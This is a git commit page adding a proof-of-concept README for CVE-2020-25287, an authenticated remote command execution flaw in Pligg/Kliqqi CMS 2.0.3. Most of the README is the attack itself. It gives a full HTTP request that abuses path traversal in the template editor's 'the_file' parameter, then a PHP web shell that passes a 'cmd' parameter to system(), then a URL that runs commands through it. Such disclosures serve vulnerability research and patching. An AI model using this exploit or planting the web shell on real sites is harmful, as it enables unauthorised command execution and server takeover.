add pligg 2.0.3 - CVE-2020-25287 RCE
This commit is contained in:
parent
9a82769c67
commit
0fc7f155d7
61
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/README.md
Normal file
61
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/README.md
Normal file
@ -0,0 +1,61 @@
|
||||
# pligg
|
||||
|
||||
## pligg 2.0.3 - CVE-2020-25287
|
||||
|
||||
* Description : We can acces to anyfile using `the_file` parameter by template editor menu because of no check on extension and then create webshell into existing php file for exemple
|
||||
* Affected version : 2.0.3
|
||||
|
||||
### Information
|
||||
|
||||
To make this PoC, i just installed the sofware(`https://github.com/Kliqqi-CMS/Kliqqi-CMS`) using WAMP on Windows
|
||||
|
||||
* Vulnerability Type : Remote command execution (Authenticated RCE)
|
||||
|
||||
### POC
|
||||
|
||||
<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/start.png">
|
||||
|
||||
Go to `/admin/admin_editor.php` intercept the request and change the path to file.
|
||||
|
||||
|
||||
for exemple to get `index.php` of application :
|
||||
|
||||
<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/getindex.png">
|
||||
|
||||
|
||||
|
||||
```
|
||||
POST /admin/admin_editor.php HTTP/1.1
|
||||
Host: kliqqi
|
||||
Content-Length: 33
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: http://kliqqi
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Referer: http://kliqqi/admin/admin_editor.php
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Cookie: panelState=CollapseManage%7CCollapseSettings%7CCollapseTemplate; PHPSESSID=lfkc3gtrv5o1golmt5md3; mnm_user=Admin; mnm_key=QWRtaW46MjI0R2dEVTAxZncxZzpl
|
||||
Connection: close
|
||||
|
||||
the_file=..%2Findex.php&open=Open
|
||||
```
|
||||
|
||||
|
||||
just click on "show response in browser", and edit the file to suit your needs
|
||||
|
||||
<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/write.png">
|
||||
|
||||
for exemple :
|
||||
|
||||
```php
|
||||
if($_GET['cmd']){
|
||||
system($_GET['cmd']);
|
||||
}
|
||||
```
|
||||
|
||||
finaly go to `website.fr?cmd=dir`.
|
||||
|
||||
<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/rce.png">
|
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/getindex.png
Normal file
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/getindex.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 141 KiB |
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/rce.png
Normal file
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/rce.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 186 KiB |
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/start.png
Normal file
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/start.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 46 KiB |
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/write.png
Normal file
BIN
CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/write.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 43 KiB |
Loading…
x
Reference in New Issue
Block a user